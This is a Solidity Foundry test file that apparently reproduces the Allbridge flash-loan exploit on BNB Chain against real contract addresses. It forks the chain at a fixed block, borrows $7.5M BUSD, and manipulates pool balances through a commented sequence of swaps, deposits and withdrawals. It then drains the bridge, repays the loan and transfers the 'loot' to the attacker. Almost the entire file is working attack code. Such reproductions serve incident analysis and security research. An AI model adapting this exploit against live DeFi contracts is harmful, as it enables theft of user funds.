Allbridge_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @Analysis
// https://twitter.com/BeosinAlert/status/1642372700726505473
// @Tx
// https://bscscan.com/tx/0x7ff1364c3b3b296b411965339ed956da5d17058f3164425ce800d64f1aef8210

interface IPool{
    function swap(
        address fromToken,
        address toToken,
        uint256 fromAmount,
        uint256 minimumToAmount,
        address to,
        uint256 deadline
    ) external returns (uint256 actualToAmount, uint256 haircut);

    function deposit(uint256 amount) external;
}

interface IPool2{
    function deposit(uint256 amount) external;
    function withdraw(uint256 amountLp) external;
}

interface IBridge{
    function swap(
        uint256 amount, 
        bytes32 token, 
        bytes32 receiveToken, 
        address recipient) 
        external ;
}

contract ContractTest is Test {

    function setUp() external {
        vm.createSelectFork("bsc", 26982067);
    }

    function test_exploit() external {
        Exploit exploit = new Exploit();
        exploit.run();
    }
}

contract Exploit{

    IPancakePair pancakeSwap = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 BSC_USD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IPool pool_0x312B = IPool(0x312Bc7eAAF93f1C60Dc5AfC115FcCDE161055fb0);
    IPool2 pool_0x179a = IPool2(0x179aaD597399B9ae078acFE2B746C09117799ca0);
    IPool2 pool_0xb19c = IPool2(0xB19Cd6AB3890f18B662904fd7a40C003703d2554);
    IBridge bridge = IBridge(0x7E6c2522fEE4E74A0182B9C6159048361BC3260A);

    function run() external {

        console.log("hacker BUSD bal before attack is       ", BUSD.balanceOf(tx.origin));
        
        // The attacker flashloans $7.5M of BUSD
        pancakeSwap.swap(
            0,
            7_500_000e18,
            address(this),
            "Gimme da loot" 
            );
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {

        // Swaps $2M BUSD for $2M $BSC-USD in pool_0x312B
        BUSD.approve(address(pool_0x312B), type(uint).max);
        BSC_USD.approve(address(pool_0x312B), type(uint).max);

        pool_0x312B.swap(
            address(BUSD), 
            address(BSC_USD),
            2_003_300e18,
            1,
            address(this),
            block.timestamp + 100 seconds 
            );
        
        // Then deposits $5M BUSD into pool 0x179a
        BUSD.approve(address(pool_0x179a), type(uint).max);
        pool_0x179a.deposit(5_000_000e18);

        // Swap BUSD to BSC_USD
        pool_0x312B.swap(
            address(BUSD),
            address(BSC_USD),
            496_700e18,
            1,
            address(this),
            block.timestamp + 100 seconds
            );
        
        // Deposit $2 mil into pool_0xb19c
        BSC_USD.approve(address(pool_0xb19c), type(uint).max);
        pool_0xb19c.deposit(2_000_000e18);

        /*
         The attacker then swaps $500K BSC-USD for $BUSD 
        in Allbridge's Bridge contract, resulting in a high 
        dividend for the previous liquidity deposit.
        */ 

        bytes32 bsc_usd = 0x00000000000000000000000055d398326f99059ff775485246999027b3197955;
        bytes32 busd = 0x000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d56; 

        uint BSC_USD_bal = BSC_USD.balanceOf(address(this));
        bridge.swap(
            BSC_USD_bal,
            bsc_usd,
            busd,
            address(this)
        );

        /*
         The BUSD liquidity in 0x179a is then removed, 
        at which point the liquidity balance within 
        the 0x179a pool is broken.
        */

        pool_0x179a.withdraw(4830262616);

        /*
         The attacker was then able to swap out $790,000 
        of BSC-USD from Bridge using only $40,000 of BUSD.
        */
        
        bridge.swap(
            40_000e18,
            busd,
            bsc_usd,
            address(this)
        );

        // Withdraw from pool_0xb19c
        pool_0xb19c.withdraw(1993728530);

        // Swap BSC_USD to BUSD in pool_0x312B
        BSC_USD_bal = BSC_USD.balanceOf(address(this));
        pool_0x312B.swap(
            address(BSC_USD),
            address(BUSD),
            BSC_USD_bal,
            1,
            address(this),
            block.timestamp + 100 seconds
            );

        // Repay flashloan
        BUSD.transfer(
            address(pancakeSwap), 
            7_522_500e18
            );

        // Transfer loot to attacker
        BUSD.transfer(
            tx.origin,
            BUSD.balanceOf(address(this))
            );

        console.log("hacker BUSD bal after attack is        ", BUSD.balanceOf(tx.origin));  
    }

}